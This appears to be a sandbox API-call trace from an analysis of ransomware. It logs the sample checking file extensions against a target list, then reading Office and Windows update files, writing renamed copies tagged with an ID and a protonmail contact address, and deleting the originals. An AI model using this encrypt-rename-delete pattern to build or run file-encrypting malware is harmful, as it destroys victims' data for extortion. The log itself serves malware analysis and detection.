	[0188.080] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0188.080] lstrlenW (lpString=".xlsx") returned 5
	[0188.080] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0188.080] lstrlenW (lpString=".ppt") returned 4
	[0188.080] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0188.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.080] lstrlenW (lpString=".zip") returned 4
	[0188.080] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0188.080] lstrlenW (lpString=".rar") returned 4
	[0188.080] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0188.080] lstrlenW (lpString=".bz2") returned 4
	[0188.080] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0188.080] lstrlenW (lpString=".7z") returned 3
	[0188.080] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0188.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.080] lstrlenW (lpString=".dbf") returned 4
	[0188.080] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0188.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.080] lstrlenW (lpString=".1cd") returned 4
	[0188.080] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0188.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.080] lstrlenW (lpString=".jpg") returned 4
	[0188.080] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0188.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.080] lstrlenW (lpString=".doc") returned 4
	[0188.080] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0188.080] lstrlenW (lpString=".docx") returned 5
	[0188.081] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0188.081] lstrlenW (lpString=".pdf") returned 4
	[0188.081] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0188.081] lstrlenW (lpString=".xls") returned 4
	[0188.081] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0188.081] lstrlenW (lpString=".xlsx") returned 5
	[0188.081] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0188.081] lstrlenW (lpString=".ppt") returned 4
	[0188.081] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0188.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.081] lstrlenW (lpString=".zip") returned 4
	[0188.081] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0188.081] lstrlenW (lpString=".rar") returned 4
	[0188.081] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0188.081] lstrlenW (lpString=".bz2") returned 4
	[0188.081] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0188.081] lstrlenW (lpString=".7z") returned 3
	[0188.081] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0188.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.081] lstrlenW (lpString=".dbf") returned 4
	[0188.081] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0188.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.081] lstrlenW (lpString=".1cd") returned 4
	[0188.081] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0188.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.081] lstrlenW (lpString=".jpg") returned 4
	[0188.081] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0188.082] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0188.082] lstrlenW (lpString="Integrator.exe") returned 14
	[0188.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.082] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=1229936) returned 1
	[0188.082] CloseHandle (hObject=0x538) returned 1
	[0188.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe")) returned 0x220
	[0188.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.083] lstrlenW (lpString=".doc") returned 4
	[0188.083] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0188.083] lstrlenW (lpString=".docx") returned 5
	[0188.083] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0188.083] lstrlenW (lpString=".pdf") returned 4
	[0188.083] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0188.083] lstrlenW (lpString=".xls") returned 4
	[0188.083] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0188.083] lstrlenW (lpString=".xlsx") returned 5
	[0188.083] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0188.083] lstrlenW (lpString=".ppt") returned 4
	[0188.083] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0188.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.083] lstrlenW (lpString=".zip") returned 4
	[0188.083] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0188.083] lstrlenW (lpString=".rar") returned 4
	[0188.083] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0188.083] lstrlenW (lpString=".bz2") returned 4
	[0188.083] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0188.083] lstrlenW (lpString=".7z") returned 3
	[0188.083] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0188.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.084] lstrlenW (lpString=".dbf") returned 4
	[0188.084] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0188.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.084] lstrlenW (lpString=".1cd") returned 4
	[0188.084] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0188.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.084] lstrlenW (lpString=".jpg") returned 4
	[0188.084] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0188.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.084] lstrlenW (lpString=".doc") returned 4
	[0188.084] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0188.084] lstrlenW (lpString=".docx") returned 5
	[0188.084] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0188.084] lstrlenW (lpString=".pdf") returned 4
	[0188.084] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0188.084] lstrlenW (lpString=".xls") returned 4
	[0188.084] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0188.084] lstrlenW (lpString=".xlsx") returned 5
	[0188.084] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0188.084] lstrlenW (lpString=".ppt") returned 4
	[0188.084] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0188.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.084] lstrlenW (lpString=".zip") returned 4
	[0188.084] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0188.084] lstrlenW (lpString=".rar") returned 4
	[0188.084] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0188.084] lstrlenW (lpString=".bz2") returned 4
	[0188.084] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0188.084] lstrlenW (lpString=".7z") returned 3
	[0188.085] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0188.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.085] lstrlenW (lpString=".dbf") returned 4
	[0188.085] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0188.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.085] lstrlenW (lpString=".1cd") returned 4
	[0188.085] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0188.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe") returned 65
	[0188.085] lstrlenW (lpString=".jpg") returned 4
	[0188.085] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0188.085] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0188.085] lstrlenW (lpString="OneDriveSetup.exe") returned 17
	[0188.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.086] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=7217832) returned 1
	[0188.086] CloseHandle (hObject=0x538) returned 1
	[0188.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe")) returned 0x220
	[0188.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0188.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68
	[0188.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68
	[0188.087] lstrlenW (lpString=".doc") returned 4
	[0188.087] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0188.087] lstrlenW (lpString=".docx") returned 5
	[0188.087] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0188.087] lstrlenW (lpString=".pdf") returned 4
	[0188.087] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0188.087] lstrlenW (lpString=".xls") returned 4
	[0188.087] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0188.087] lstrlenW (lpString=".xlsx") returned 5
	[0188.087] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0188.087] lstrlenW (lpString=".ppt") returned 4
	[0188.087] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0188.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68
	[0188.087] lstrlenW (lpString=".zip") returned 4
	[0188.087] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0188.087] lstrlenW (lpString=".rar") returned 4
	[0188.088] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0188.088] lstrlenW (lpString=".bz2") returned 4
	[0188.088] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0188.088] lstrlenW (lpString=".7z") returned 3
	[0188.088] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0188.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe") returned 68
	[0188.088] lstrlenW (lpString=".dbf") returned 4
	[0188.088] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0188.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0188.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0188.172] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.172] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.174] GetLastError () returned 0x0
	[0188.174] ReadFile (in: hFile=0x5c4, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x97da2, lpOverlapped=0x0) returned 1
	[0188.198] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x97db0, lpOverlapped=0x0) returned 1
	[0188.471] ReadFile (in: hFile=0x5c4, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.471] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0188.471] SetEndOfFile (hFile=0x36c) returned 1
	[0188.472] CloseHandle (hObject=0x36c) returned 1
	[0188.472] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.472] SetEndOfFile (hFile=0x5c4) returned 1
	[0188.490] CloseHandle (hObject=0x5c4) returned 1
	[0188.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1
	[0188.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.491] lstrlenW (lpString=".doc") returned 4
	[0188.491] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0188.492] lstrlenW (lpString=".docx") returned 5
	[0188.492] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0188.492] lstrlenW (lpString=".pdf") returned 4
	[0188.492] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0188.492] lstrlenW (lpString=".xls") returned 4
	[0188.492] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0188.492] lstrlenW (lpString=".xlsx") returned 5
	[0188.492] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0188.492] lstrlenW (lpString=".ppt") returned 4
	[0188.492] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0188.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.492] lstrlenW (lpString=".zip") returned 4
	[0188.492] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0188.492] lstrlenW (lpString=".rar") returned 4
	[0188.492] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0188.492] lstrlenW (lpString=".bz2") returned 4
	[0188.492] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0188.492] lstrlenW (lpString=".7z") returned 3
	[0188.492] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0188.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.492] lstrlenW (lpString=".dbf") returned 4
	[0188.492] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0188.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.492] lstrlenW (lpString=".1cd") returned 4
	[0188.492] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0188.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.492] lstrlenW (lpString=".jpg") returned 4
	[0188.492] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0188.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.493] lstrlenW (lpString=".doc") returned 4
	[0188.493] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0188.493] lstrlenW (lpString=".docx") returned 5
	[0188.493] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0188.493] lstrlenW (lpString=".pdf") returned 4
	[0188.493] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0188.493] lstrlenW (lpString=".xls") returned 4
	[0188.493] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0188.493] lstrlenW (lpString=".xlsx") returned 5
	[0188.493] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0188.493] lstrlenW (lpString=".ppt") returned 4
	[0188.493] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0188.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.493] lstrlenW (lpString=".zip") returned 4
	[0188.493] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0188.493] lstrlenW (lpString=".rar") returned 4
	[0188.493] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0188.493] lstrlenW (lpString=".bz2") returned 4
	[0188.493] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0188.493] lstrlenW (lpString=".7z") returned 3
	[0188.493] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0188.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.493] lstrlenW (lpString=".dbf") returned 4
	[0188.493] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0188.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.494] lstrlenW (lpString=".1cd") returned 4
	[0188.494] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0188.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0188.494] lstrlenW (lpString=".jpg") returned 4
	[0188.494] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0188.494] lstrcmpiW (lpString1=".msu", lpString2=".html") returned 1
	[0188.494] lstrlenW (lpString="Windows8.1-KB2999226-x64.msu") returned 28
	[0188.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0188.495] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=994589) returned 1
	[0188.495] CloseHandle (hObject=0x5c4) returned 1
	[0188.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 0x220
	[0188.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0188.496] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.496] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.497] GetLastError () returned 0x0
	[0188.497] ReadFile (in: hFile=0x5c4, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0xf2d1d, lpOverlapped=0x0) returned 1
	[0188.973] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xf2d20, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xf2d20, lpOverlapped=0x0) returned 1
	[0189.008] ReadFile (in: hFile=0x5c4, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.009] WriteFile (in: hFile=0x36c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0189.009] SetEndOfFile (hFile=0x36c) returned 1
	[0189.009] CloseHandle (hObject=0x36c) returned 1
	[0189.009] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.009] SetEndOfFile (hFile=0x5c4) returned 1
	[0189.238] CloseHandle (hObject=0x5c4) returned 1
	[0189.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x64.msu")) returned 1
	[0189.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.704] lstrlenW (lpString=".doc") returned 4
	[0189.704] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0189.704] lstrlenW (lpString=".docx") returned 5
	[0189.704] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0189.705] lstrlenW (lpString=".pdf") returned 4
	[0189.705] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0189.705] lstrlenW (lpString=".xls") returned 4
	[0189.705] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0189.705] lstrlenW (lpString=".xlsx") returned 5
	[0189.705] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0189.705] lstrlenW (lpString=".ppt") returned 4
	[0189.705] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x64.msu") returned 79
	[0189.705] lstrlenW (lpString=".zip") returned 4
	[0189.705] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0189.705] lstrlenW (lpString=".rar") returned 4
	[0189.705] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
